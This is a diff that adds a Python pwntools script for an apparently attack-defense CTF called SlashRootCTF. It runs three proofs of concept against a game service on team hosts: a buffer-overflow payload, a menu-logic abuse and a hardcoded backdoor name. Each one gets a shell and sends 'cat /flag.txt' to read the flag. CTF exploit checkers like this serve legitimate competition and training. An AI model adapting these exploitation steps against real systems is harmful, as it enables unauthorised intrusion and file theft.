| @ -0,0 +1,101 @@ | |||||
| #! /usr/bin/env python2 | |||||
| from pwn import process, remote | |||||
| HOST = "192.168.2.20" | |||||
| TOTAL_TEAMS = 10 | |||||
| FORMAT = "SlashRootCTF" | |||||
| def run(): | |||||
| # return process(FILENAME) | |||||
| return remote("127.0.0.1", 60204) | |||||
| def poc0(host, port): | |||||
| p = remote(host, port) | |||||
| p.recvuntil(">") | |||||
| p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01")) | |||||
| if "young" in p.recvuntil(">"): | |||||
| p.sendline("y") | |||||
| p.recvuntil(">") | |||||
| p.sendline("2") | |||||
| p.recvuntil(">") | |||||
| p.sendline("4") | |||||
| p.recvuntil(">") | |||||
| p.sendline("y") | |||||
| for _ in xrange(10): | |||||
| p.recvuntil(">") | |||||
| p.sendline("99") | |||||
| p.sendline("cat /flag.txt") | |||||
| flag = p.recv(46) | |||||
| if FORMAT in flag: | |||||
| return True | |||||
| else: | |||||
| return False | |||||
| else: | |||||
| return False | |||||
| def poc1(host, port): | |||||
| p = remote(host, port) | |||||
| p.recvuntil(">") | |||||
| p.sendline("Leo") | |||||
| p.recvuntil(">") | |||||
| p.sendline("y") | |||||
| for _ in range(2): | |||||
| p.recvuntil(">") | |||||
| p.sendline("3") | |||||
| p.recvuntil(">") | |||||
| p.sendline("0") | |||||
| if "Who" in p.recvuntil(">"): | |||||
| return False | |||||
| p.sendline("y") | |||||
| p.recvuntil(">") | |||||
| p.sendline("1") | |||||
| p.recvuntil(">") | |||||
| p.sendline("4") | |||||
| p.recvuntil(">") | |||||
| p.sendline("y") | |||||
| for _ in range(10): | |||||
| p.recvuntil(">") | |||||
| p.sendline("99") | |||||
| p.sendline("cat /flag.txt") | |||||
| flag = p.recv(46) | |||||
| if FORMAT in flag: | |||||
| return True | |||||
| else: | |||||
| return False | |||||
| def poc2(host, port): | |||||
| p = remote(host, port) | |||||
| p.recvuntil(">") | |||||
| p.sendline("__th3_w0rLd_D3str0Y3r_15_b4ck__") | |||||
| p.recvuntil(">") | |||||
| p.sendline("y") | |||||
| p.recvuntil(">") | |||||
| p.sendline("6") | |||||
| if "Lv: 1000000" in p.recvuntil(">"): | |||||
| p.sendline("2") | |||||
| p.recvuntil(">") | |||||
| p.sendline("4") | |||||
| p.recvuntil(">") | |||||
| p.sendline("y") | |||||
| for _ in xrange(10): | |||||
| p.recvuntil(">") | |||||
| p.sendline("99") | |||||
| p.sendline("cat /flag.txt") | |||||
| flag = p.recv(46) | |||||
| if FORMAT in flag: | |||||
| return True | |||||
| else: | |||||
| return False | |||||
| else: | |||||
| return False | |||||
| if __name__ == "__main__": | |||||
| for i in range(1): | |||||
| print poc0(HOST, (60004 + (i*100))) | |||||
| print poc1(HOST, (60004 + (i*100))) | |||||
| print poc2(HOST, (60004 + (i*100))) | |||||